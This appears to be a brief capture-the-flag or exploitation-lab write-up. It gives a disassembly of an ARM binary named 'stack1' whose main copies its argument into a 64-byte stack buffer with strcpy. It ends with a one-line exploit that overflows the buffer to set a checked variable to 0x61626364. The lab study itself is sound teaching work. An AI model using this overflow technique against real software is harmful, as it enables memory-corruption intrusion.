Disassembled main:
Dump of assembler code for function main:
0x00008480 <+0>: push {r11, lr}
0x00008484 <+4>: add r11, sp, #4
0x00008488 <+8>: sub sp, sp, #80 ; 0x50
0x0000848c <+12>: str r0, [r11, #-80] ; 0x50
0x00008490 <+16>: str r1, [r11, #-84] ; 0x54
0x00008494 <+20>: ldr r3, [r11, #-80] ; 0x50
0x00008498 <+24>: cmp r3, #1
0x0000849c <+28>: bne 0x84ac <main+44>
0x000084a0 <+32>: mov r0, #1
0x000084a4 <+36>: ldr r1, [pc, #96] ; 0x850c <main+140>
0x000084a8 <+40>: bl 0x8344 <errx>
0x000084ac <+44>: mov r3, #0
0x000084b0 <+48>: str r3, [r11, #-8]
0x000084b4 <+52>: ldr r3, [r11, #-84] ; 0x54
0x000084b8 <+56>: add r3, r3, #4
0x000084bc <+60>: ldr r3, [r3]
0x000084c0 <+64>: sub r2, r11, #72 ; 0x48
0x000084c4 <+68>: mov r0, r2
0x000084c8 <+72>: mov r1, r3
0x000084cc <+76>: bl 0x8314 <strcpy>
0x000084d0 <+80>: ldr r2, [r11, #-8]
0x000084d4 <+84>: ldr r3, [pc, #52] ; 0x8510 <main+144>
0x000084d8 <+88>: cmp r2, r3
0x000084dc <+92>: bne 0x84ec <main+108>
0x000084e0 <+96>: ldr r0, [pc, #44] ; 0x8514 <main+148>
0x000084e4 <+100>: bl 0x8320 <puts>
0x000084e8 <+104>: b 0x84fc <main+124>
0x000084ec <+108>: ldr r3, [r11, #-8]
0x000084f0 <+112>: ldr r0, [pc, #32] ; 0x8518 <main+152>
0x000084f4 <+116>: mov r1, r3
0x000084f8 <+120>: bl 0x8308 <printf>
0x000084fc <+124>: mov r3, #0
0x00008500 <+128>: mov r0, r3
0x00008504 <+132>: sub sp, r11, #4
0x00008508 <+136>: pop {r11, pc}
0x0000850c <+140>: muleq r0, r0, r5
0x00008510 <+144>: cmnvs r2, r4, ror #6
0x00008514 <+148>: ; <UNDEFINED> instruction: 0x000085b0
0x00008518 <+152>: andeq r8, r0, r8, ror #11
End of assembler dump.
Exploit code:
./stack1 `python -c "print 'A'*64+'\x64\x63\x62\x61'"`